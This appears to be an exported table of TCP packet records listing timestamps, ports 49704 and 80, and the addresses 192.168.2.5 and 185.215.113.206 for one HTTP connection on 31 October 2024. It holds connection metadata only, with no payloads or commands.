Oct 31, 2024 01:18:20.262607098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262645960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262649059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262655973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262684107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262708902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262880087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262891054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262901068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262911081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262921095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262922049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262931108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262938023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262943029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262952089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262963057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262963057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262975931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263000011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263012886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263051987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263061047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263072968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263094902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263107061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263261080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263273001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263281107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263287067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263292074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263295889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263298035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263308048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263324976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263330936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263336897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263346910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263353109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263359070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263366938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263377905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263394117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263401985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263406038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263415098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263425112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263426065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263437986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263438940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263438940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263448000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263458014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263463020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263470888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263482094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263487101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263493061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263503075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263511896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263520956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263520956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263525009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263545990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263549089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263557911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263569117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263575077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263577938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263588905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263597965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263602018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263608932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263617992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263626099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263628960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263639927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263645887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263650894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263662100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263663054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263669968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263673067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263690948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263701916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263703108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263711929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263731003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263731956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263745070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263751984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263757944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263760090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263770103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263780117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263786077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263796091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263806105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263806105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263817072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263827085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263828993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263837099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263848066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263853073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263859034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263869047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263880014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263880014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263892889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263899088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263910055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263912916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263921976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263937950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263940096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263947964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263958931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.263962030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263982058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.263999939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.266773939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.266868114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299175024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299197912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299209118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299218893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299235106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299237967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299248934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299257994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299261093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299280882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299293041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299302101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299304962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299304962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299319029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299331903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299340963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299340963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299355030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299364090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299364090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299374104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299385071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299387932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299398899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299405098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.299411058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299428940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.299447060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.308900118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.308909893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.308976889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.341447115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.341471910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.341485023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.341495991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.341504097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.341506004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.341563940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375412941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375475883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375484943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375494957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375510931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375530005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375533104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375540972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375565052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375571012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375580072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375588894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375592947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375601053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375607014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375617981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375622034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375632048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375633001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375643969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375653982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375655890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375663042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375669003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375691891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375722885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375766039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375778913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375790119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375801086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375811100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375812054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375828981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375840902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375847101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375850916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375870943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375895977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375901937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375940084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.375972033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375983000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.375993013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376003027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376019001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376055956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376486063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376498938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376509905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376527071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376550913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376553059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376574039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376585960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376588106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376596928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376605988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376609087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376632929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376641989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376653910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376663923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376665115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376679897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376720905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376751900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376780033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376794100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376797915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376807928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376820087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376827002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376832008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376842976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376868963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376873016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376882076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376885891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376894951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376908064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.376918077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376950979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.376991034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377002001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377012968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377028942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377055883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377091885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377132893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377199888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377211094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377221107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377243996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377255917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377372026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377382994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377398968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377409935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377413988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377422094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377444983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377444983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377454042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377471924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377474070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377485991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377496958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377499104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377509117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377510071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377516031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377548933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377571106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377593040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377603054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377614975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377645016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377655983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377710104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377722979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377732992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377743006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377748013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377798080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377810001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377811909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377811909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377811909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377831936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377842903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377846956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377855062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377856016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377867937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377878904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377888918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377898932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377912998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377924919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377934933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377953053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377959967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.377964973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.377989054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378007889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378030062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378041983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378074884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378093004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378158092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378197908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378226995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378237963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378266096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378271103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378282070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378283024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378318071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378351927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378364086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378370047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378395081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378401995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378431082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378467083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378484964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378498077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378504038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378508091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378521919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378528118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378535032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378550053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378561020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378577948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378582001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378593922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378622055 CET	49704	80	192.168.2.5	185.215.113.206
